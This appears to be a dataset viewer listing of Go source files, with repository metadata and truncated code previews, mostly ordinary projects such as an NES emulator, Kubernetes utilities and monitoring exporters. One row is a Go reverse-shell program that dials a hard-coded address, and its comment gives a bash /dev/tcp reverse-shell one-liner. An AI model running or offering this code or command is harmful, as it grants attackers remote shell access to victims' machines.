787bd4e97312c7c4eb1e65e6a8964b9893703b6d | 0a7736c230ae8b213e8e16f39839dcc77a3c61a2 | mtojek/nes-emulator | /cpu/cpu_test.go | Go | go | 1,711 | permissive | package cpu_test
import (
"encoding/hex"
"github.com/mtojek/nes-emulator/bus"
"github.com/mtojek/nes-emulator/cpu"
"github.com/mtojek/nes-emulator/memory"
"strings"
"testing"
"github.com/stretchr/testify/require"
)
const standardCodeLocation = 0x8000
/*
*=$8000
LDX #10
STX $0000
LDX #3
STX $0001
LDY $0000
LD... |
f06936cb6fe6c72992dbc15883f66359b9538508 | f298ea9a8ca6ff1f4b7dfcbfaeaf2c86ccc528b9 | scottwinkler/simple-rpg | /tilemap/tilemap_parser.go | Go | go | 1,006 | no_license | package tilemap
import (
"encoding/json"
"fmt"
"io/ioutil"
"github.com/faiface/pixel"
)
func ParseTiledJSON(path string) (*Tilemap, error) {
raw, err := ioutil.ReadFile(path)
var tilemap Tilemap
if err != nil {
fmt.Printf("%s", err)
return &tilemap, err
}
json.Unmarshal(raw, &tilemap)
if tilemap.Orient... |
52d386296e9c4b5ece1e604e6baac45a080a6d4e | 7a228c587da21a0d3e791bc4f8e5cb4a31aeecd8 | kunal-kushwaha/kubevirt | /pkg/testutils/mock_queue.go | Go | go | 6,835 | permissive | package testutils
import (
"sync"
"sync/atomic"
k8sv1 "k8s.io/api/core/v1"
"k8s.io/api/policy/v1beta1"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/client-go/tools/cache"
framework "k8s.io/client-go/tools/cache/testing"
"k8s.io/client-go/util/workqueue"
v1 "kubevirt.io/client-go/api/v1"
cdiv1 "kubevirt.io/con... |
c869c4702a0153b052e40934afe8881dbf088659 | 0e0daded7e93ce56b45d705cbf7e0710bb7b011b | Gundy-Zhou/component | /pkg/fields/selector_test.go | Go | go | 10,879 | no_license |
package fields
import (
"reflect"
"testing"
)
func TestSplitTerms(t *testing.T) {
testcases := map[string][]string{
// Simple selectors
`a`: {`a`},
`a=avalue`: {`a=avalue`},
`a=avalue,b=bvalue`: {`a=avalue`, `b=bvalue`},
`a=avalue,b==bvalue,c!=c... |
d17bfad66ab039bee031da67f7eb74ac118419b0 | 9df07c31a1c35245707bdb28d26212f9f6b0adce | janus007/submarine | /server/battle/src/app/typhenapi/type/submarine/get_rooms_object.go | Go | go | 657 | no_license | // This file was generated by typhen-api
package submarine
import (
"app/typhenapi/core"
"errors"
)
var _ = errors.New
// GetRoomsObject is a kind of TyphenAPI type.
type GetRoomsObject struct {
Rooms []*Room `codec:"rooms"`
}
// Coerce the fields.
func (t *GetRoomsObject) Coerce() error {
if t.Rooms == nil {
... |
47bb4a01b6716ff4d68eea09dd0a81bb2cb18eca | c7b52688cea3845597753f6176e85f2c4814113a | 52imnet/iis | /dal/coop.go | Go | go | 9,128 | no_license | package dal
import (
"fmt"
"log"
"strconv"
"time"
"github.com/aws/aws-sdk-go/aws"
"github.com/coyove/iis/common"
"github.com/coyove/iis/ik"
"github.com/coyove/iis/model"
)
type (
UpdateUserRequest struct {
ID string
Signup bool
ToggleMod *bool
ToggleBan ... |
e57dfca0f3de714ece542123feac61cca930c02a | 12d10f46ba9b0649e37592078ba299d2baabd2e3 | juchain/go-juchain | /common/hexutil/json_test.go | Go | go | 11,822 | permissive | // Copyright 2018 The go-juchain Authors
// This file is part of the go-juchain library.
//
// The go-juchain library is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, o... |
a4d75207ad04384e36c40b4747597ed61bc67c56 | 70d7bffb9b49aab38c99e1507cde4ebfdf2eeb3e | climateengine/bucket-restore | /cmd/brestore/appcmds/versions_gcp.go | Go | go | 1,751 | permissive | // Copyright 2021 VILT Group
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in w... |
6a73b96a800439c9f2d24091c4c4312652e9c8e9 | d17b4c0d2aeb1dbee90392a5387324dfdb03888b | r2-studio/robotmon-desktop | /discarded/launcher-v1-executable/start.go | Go | go | 466 | permissive | package main
import (
"bufio"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
)
func main() {
dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
path := dir + string(os.PathSeparator) + "service-manager." + runtime.GOOS
fmt.Println(path)
cmd := exec.Command(path, "-start")
cmd.Stdout = os.Stdout
cmd.Stderr =... |
350ec6b7f959a776809a27269de983146fac8e3e | 963ac59867b4d95090b46236f797f68e71991ec0 | garmin/Wildcard_Plugin | /Godeps/_workspace/src/github.com/cloudfoundry/cli/cf/commands/application/apps.go | Go | go | 4,020 | permissive | package application
import (
"strings"
"github.com/cloudfoundry/cli/cf/command_registry"
. "github.com/cloudfoundry/cli/cf/i18n"
"github.com/cloudfoundry/cli/cf/models"
"github.com/cloudfoundry/cli/flags"
"github.com/cloudfoundry/cli/plugin/models"
"github.com/cloudfoundry/cli/cf/api"
"github.com/cloudfoundr... |
279e4e9555e22995f89a2d67b5856be4634f1593 | 5e715e127779050f6ff6b66b7c3c481b13b8c8e5 | tcolgate/revel | /revel/new.go | Go | go | 4,547 | permissive | package main
import (
"bytes"
"fmt"
"go/build"
"math/rand"
"os"
"os/exec"
"path/filepath"
"github.com/robfig/revel"
)
var cmdNew = &Command{
UsageLine: "new [path] [skeleton]",
Short: "create a skeleton Revel application",
Long: `
New creates a few files to get a new Revel application running quickly.... |
a0dbb2228887d69ee16fee17dbd4db2fab048a96 | 80d520fceacb0e3cc073c84921c9bf73b6b017b9 | 731135090/GoLive | /routers/router.go | Go | go | 287 | no_license | package routers
import (
"GoLive/controllers"
"github.com/astaxie/beego"
)
func init() {
beego.Router("/", &controllers.BaseController{})
beego.Router("/ws/cheat", &controllers.WebSocketController{})
beego.Router("/admin/ws/cheat", &controllers.AdminWsController{})
}
|
715906bbde54adf85578f3ddde5f23ba0cb1875c | bd467da2ea554950f7ae3b1fa53ea5da71ee05d5 | algorand/node_exporter | /collector/loadavg_solaris.go | Go | go | 1,060 | permissive | // Copyright 2015 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to... |
226147fcb8c9ce7cfb6cfe5561a8f011a1d52fc9 | dd453b7e50b8f937e2987357d663069e8a32e153 | mangrep/lnd | /lncfg/caches.go | Go | go | 2,425 | permissive | package lncfg
import (
"fmt"
"time"
)
const (
// MinRejectCacheSize is a floor on the maximum capacity allowed for
// channeldb's reject cache. This amounts to roughly 125 KB when full.
MinRejectCacheSize = 5000
// MinChannelCacheSize is a floor on the maximum capacity allowed for
// channeldb's channel cache... |
1ca93b3fccaeb246c0e35d426f211b3cc5c415a3 | 976105eccae8621085c60d0e3d1b300d31480aa0 | melonwool/grammes | /examples/vertices-by-string/main.go | Go | go | 2,508 | permissive | // Copyright (c) 2018 Northwestern Mutual.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, p... |
f611e9a4d08997e840b0fd5a236665b5037c1a1b | 09d64b236bdf0ccc50ff6a57faa9029075077ac2 | user3210/ombfullnode | /upgrade.go | Go | go | 5,237 | permissive | // Copyright (c) 2013-2014 The btcsuite developers
// Use of this source code is governed by an ISC
// license that can be found in the LICENSE file.
package main
import (
"io"
"os"
"path/filepath"
)
// dirEmpty returns whether or not the specified directory path is empty.
func dirEmpty(dirPath string) (bool, err... |
509b66aaba75c9371a3f188424c4f653b6f60dd6 | a5663d3cf52fdc0460fd3ef4f9c1f392a29f6086 | layotta/gdu | /tui/actions.go | Go | go | 7,259 | permissive | package tui
import (
"bufio"
"fmt"
"os"
"path/filepath"
"runtime"
"github.com/dundee/gdu/v5/pkg/analyze"
"github.com/dundee/gdu/v5/pkg/device"
"github.com/gdamore/tcell/v2"
"github.com/rivo/tview"
)
const defaultLinesCount = 500
const linesTreshold = 20
// ListDevices lists mounted devices and shows their ... |
0a39b0859535a273232955803d2604db0ca32404 | b75977710ec9f9d9a62c9a83386e26f6180dcf04 | maplestoria/diff-redis | /src/counter.go | Go | go | 837 | permissive | package src
import (
"fmt"
"log"
"sync"
"time"
)
var counter = sync.Map{}
func addKeyspace(ks keyspace) {
counter.Store(ks.db, ks)
}
func examined(db int, size int) {
if value, ok := counter.Load(db); ok {
if ks, ok := value.(keyspace); ok {
ks.examined += size
counter.Store(db, ks)
}
}
}
func pri... |
577b1cd2e7ae33c5bee90e969a4664fbfa439bb0 | 2280b5cabce214f99ef8212c6f11fb4cfbb916ff | bdshadow/kubernetes-client-android | /kubernetes-model/vendor/k8s.io/kubernetes/staging/src/k8s.io/client-go/kubernetes/typed/authorization/v1/fake/fake_subjectaccessreview_expansion.go | Go | go | 1,662 | permissive | /**
* Copyright (C) 2015 Red Hat, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or... |
896e3b5b582938d8d66ccbea783dd39dbdff52fc | 9f5ad877b2268cf2e8beea48ba03dbd3a9f9374d | mydockergit/stuffz | /codez/go/reverse_lin.go | Go | go | 438 | no_license | // Reverse Shell in Go
package main
import (
"net"
"os/exec"
"time"
)
func main() {
reverse("192.168.1.15:3434")
}
// bash -i >& /dev/tcp/localhost/6666 0>&1
func reverse(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
if nil != c {
c.Close()
}
time.Sleep(time.Minute)
reverse(host)
}... |
a69c974363cb50cf32b8f44606853f708c7f2088 | 0f1c0d71e9a495b1c9359a1772441bd583947d2b | ramonramospaz/go_pet_proyect | /controler/user.go | Go | go | 1,557 | no_license | package controler
import (
"errors"
"time"
"twelve_webapp/entity"
)
// User usuario
type User struct {
ID int `json:"id"`
Name string `json:"name"`
Age int `json:"age"`
BirthCountry string `json:"birthCountry"`
}
// CreateUser ..
func CreateUser(u User) (err error) {
if (u.ID... |
8f2cb3b708ab145bc0db90f57cf83d1930b0e146 | 8d34a4126818675e07a28988b207fb11254d07c7 | mmadil/go-koans | /about_enumeration.go | Go | go | 563 | permissive | package go_koans
func aboutEnumeration() {
{
var concatenated string
var total int
strings := []string{"hello", " world", "!"}
for i, v := range strings {
total += i
concatenated += v
}
assert(concatenated == "hello world!") // for loops have a modern variation
assert(total == 3) // wh... |
77e35480e05ad42b5e8b89c97f4c98fc989343de | ac7108b8ed45fde5df275d8dd4da800be831c529 | skudasov/ro-chess | /src/server/game/internal/constdmg_pool.go | Go | go | 1,437 | permissive | package internal
import (
"fmt"
e "github.com/f4hrenh9it/ro-chess/src/server/entity"
)
// ConstDmgFigurePool used for test purpose, combat testing
type ConstDmgFigurePool struct {
PoolLvl int
Race race
Figures []e.Figurable
}
// NewConstDmgFigurePool creates new pool with constant dmg units for testing
func ... |
fcab628deeceb9221cd085e083fba4af770a4d56 | ac8dc22e409c83afb723a78ddbe9200acf3d4d43 | rodrigocorreiasousa/opentelemetry-service | /exporter/loggingexporter/factory.go | Go | go | 4,411 | permissive | // Copyright The OpenTelemetry Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or ag... |
823010602d8b87a1323b5cf6e2ca28f7600b5217 | b74af7b1bd99c5053828be9186a2b8ca48744917 | bit-cmdr/go-squawker | /transmitter.go | Go | go | 873 | permissive | package main
import (
"log"
"net/http"
"github.com/bit-cmdr/go-squawker/pkg/broker"
"github.com/gorilla/websocket"
)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
}
var messageBus = &broker.Bus{}
var broadcast = make(chan broker.MessageData)
func transmitter(w http.Response... |
8406c6e40ae848d56f479823bc5d6d899f1016f3 | 4f1923ce635094ebf86e362593765aa76bdf0f43 | thansen0/personal_site | /main.go | Go | go | 802 | no_license | package main
import (
"log"
"net/http"
"os"
)
func redirectToHttps(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://thomashansen.xyz:443"+r.RequestURI, http.StatusMovedPermanently)
}
func main() {
fs := http.FileServer(http.Dir("./static"))
http.Handle("/", fs)
log.... |
e0198eb8cc2b618efbffc58606e03683ff490407 | ba15956a11ac4194da7868cfd3652eb0c9701960 | platform-nuggets/VictoriaMetrics | /app/vmalert/config.go | Go | go | 2,081 | permissive | package main
import (
"fmt"
"gopkg.in/yaml.v2"
"io/ioutil"
"path/filepath"
"strings"
"github.com/VictoriaMetrics/VictoriaMetrics/app/vmalert/notifier"
)
// Parse parses rule configs from given file patterns
func Parse(pathPatterns []string, validateAnnotations bool) ([]Group, error) {
var fp []string
for _, ... |
1f4fe41485009f6d09569e0e641a91ee9306c67f | 2e8116d4021dffc00a94f01522ccbc894c7e964a | rssenar/stuff | /studies-FileUploadDownload/ServerDownloadv2/main.go | Go | go | 1,690 | no_license | package main
import (
"fmt"
"io"
"net/http"
"os"
"strconv"
)
func main() {
fmt.Println("Starting http file sever")
http.HandleFunc("/", handleClient)
err := http.ListenAndServe(":8080", nil)
if err != nil {
fmt.Println(err)
}
}
func handleClient(w http.ResponseWriter, r *http.Request) {
//First of check... |
5522b4f3f57717b7b2935e1fa6746e8eb2c82998 | e2d7a0ad3995503d7b8eab2fc3d238c4b2edfc6d | openshift-cherrypick-robot/ptp-operator | /pkg/controller/ptpconfig/ptpconfig_controller.go | Go | go | 4,741 | permissive | package ptpconfig
import (
"context"
"encoding/json"
"fmt"
"github.com/golang/glog"
"github.com/openshift/ptp-operator/pkg/names"
ptpv1 "github.com/openshift/ptp-operator/pkg/apis/ptp/v1"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/errors"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/... |
4cbae3965c3dd552da6b2cfb4966b827a1cf14ce | ad0dfdfe0d2d6fe0471d677f7d3fd072604fc208 | bububa/opentaobao | /model/jst/RefundTrace.go | Go | go | 586 | permissive | package jst
// RefundTrace 结构体
type RefundTrace struct {
// 动作发生的时间
ActionTime string `json:"action_time,omitempty" xml:"action_time,omitempty"`
// 应用标题
AppTitle string `json:"app_title,omitempty" xml:"app_title,omitempty"`
// 备注字段
Remark string `json:"remark,omitempty" xml:"remark,omitempty"`
// 回流的订单状态
Statu... |
4ab76803648981dd8900bb38b5b2796cdf25c694 | b2d35123288952c27bddc339e6726f576a9224d2 | tanishiking/aws-lambda-go-api-proxy | /core/response.go | Go | go | 2,712 | permissive | // Package core provides utility methods that help convert proxy events
// into an http.Request and http.ResponseWriter
package core
import (
"bytes"
"encoding/base64"
"errors"
"net/http"
"unicode/utf8"
"github.com/aws/aws-lambda-go/events"
)
const defaultStatusCode = -1
const contentTypeHeaderKey = "Content-T... |
757acd51048ddd626b565057c916f4f0564df0af | e177e42922dfe0bce79ddf14b3d8dff9050e4762 | queeno/aptlify | /utils/strings.go | Go | go | 860 | no_license | package utils
import (
"strings"
)
func SplitStringToSlice(s string) []string {
rStr := strings.Split(s, "\n")
if rStr[len(rStr)-1] == "" {
rStr = rStr[:len(rStr)-1]
}
return rStr
}
func IsStringEmpty(element string) bool {
return len(element) == 0
}
func uniqueStringsOnLeft(arr1 []string, arr2 []string) []... |
b7be9a289d0f5a51ce653ba52bcc8534bb331ab8 | 83002b311ba876553479dbe4e4b4cd3a1d7848dc | vmorris/mygopl | /ch4/ex4.7/reverse.go | Go | go | 430 | no_license | // reverse the characters of a []byte slice in place without allocating
// additional memory
package main
import "fmt"
func main() {
in := "racecar's are neat!"
inbytes := []byte(in)
fmt.Println(string(inbytes))
inbytes = reverse(inbytes)
fmt.Println(string(inbytes))
}
func reverse(bytes []byte) []byte {
for i... |
171de2c2db8f98b889c8aaf234328d221323bf2c | 52206c18b6efe6505fa732d2afcaaeec44830880 | indraneeldutta/web_crawler | /models/page_details.go | Go | go | 444 | no_license | package models
type PageDetailsResponse struct {
HtmlVersion string `json:"html_version"`
PageTitle string `json:"page_title"`
LinksCount struct {
InternalLinks int `json:"internal_links_count"`
ExternalLinks int `json:"external_links_count"`
} `json:"links_count"`
InaccessibleLinks int `json:"inaccessibl... |
4832c422d611409c38438decb444844ac1227c98 | 6beaa4fff169fc5abb18893ad299853062df77a1 | guangbinw/evebox | /core/datastore.go | Go | go | 4,783 | permissive | /* Copyright (c) 2016 Jason Ish
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions... |
367de43e5f69b0ad8837acfbc7d2337858fa9cb6 | dad82513ba3270f32c13289e321ff5dbd832eee0 | klaasjacobdevries/kgul | /runtime/logging/writer.go | Go | go | 1,267 | permissive | package logging
import (
"fmt"
"io"
"os"
"time"
"github.com/klaasjacobdevries/kgul/runtime/assert"
)
var logWriter io.Writer = os.Stdout
func SetOutput(w io.Writer) {
logWriter = w
}
type logJob interface {
do()
}
type item struct {
ts time.Time
tag string
level int
line string
}
func (i item) d... |
c0431fbeb1528966a73bd57803f5efe9564c786b | 3d356a3bf5f18b0d4a667e29c09783d693a2a02a | ccyun/GoApp | /cmd/bbstaskserver/main.go | Go | go | 273 | no_license | package main
import (
_ "bbs_server/application"
"bbs_server/application/module/quere"
"bbs_server/application/module/quere/adapter"
)
func main() {
app := new(queue.App)
app.DoFunc = work
app.Run()
}
func work(options map[string]string) {
adapter.Run(options)
}
|
dd656930a4d6b29e2ec1612a642f87f7b48f79d1 | a7edc931944e36ff16dedba0c2453f44072a0dd0 | gjoshevski/aws-k8s-tester | /eks/cluster-loader/cluster-loader_test.go | Go | go | 1,031 | permissive | package clusterloader
import (
"context"
"fmt"
"os"
os_exec "os/exec"
"strings"
"testing"
"time"
"go.uber.org/zap"
"k8s.io/utils/exec"
)
func TestExec(t *testing.T) {
kubectlPath, err := os_exec.LookPath("kubectl")
if err != nil {
t.Skip(err)
}
ctx, cancel := context.WithTimeout(context.Background(), ... |
ad256ba18528287c8b10b7d629f5f1eff3fbf56c | 8c05de6daed5a69483b44092dd44f5093597f51d | ramyaDhanush/reminder-cli-app | /cmd/examples/cli-basics/flagset/main.go | Go | go | 610 | no_license | package main
import (
"flag"
"fmt"
"log"
"os"
)
func main() {
fmt.Println(os.Args)
if(len(os.Args) < 2) {
fmt.Println("no command provided")
os.Exit(2)
}
cmd := os.Args[1]
switch cmd {
case "greet":
greetCmd := flag.NewFlagSet("greet", flag.ExitOnError)
msgFlag := greetCmd.String("msg", "CLI BAS... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.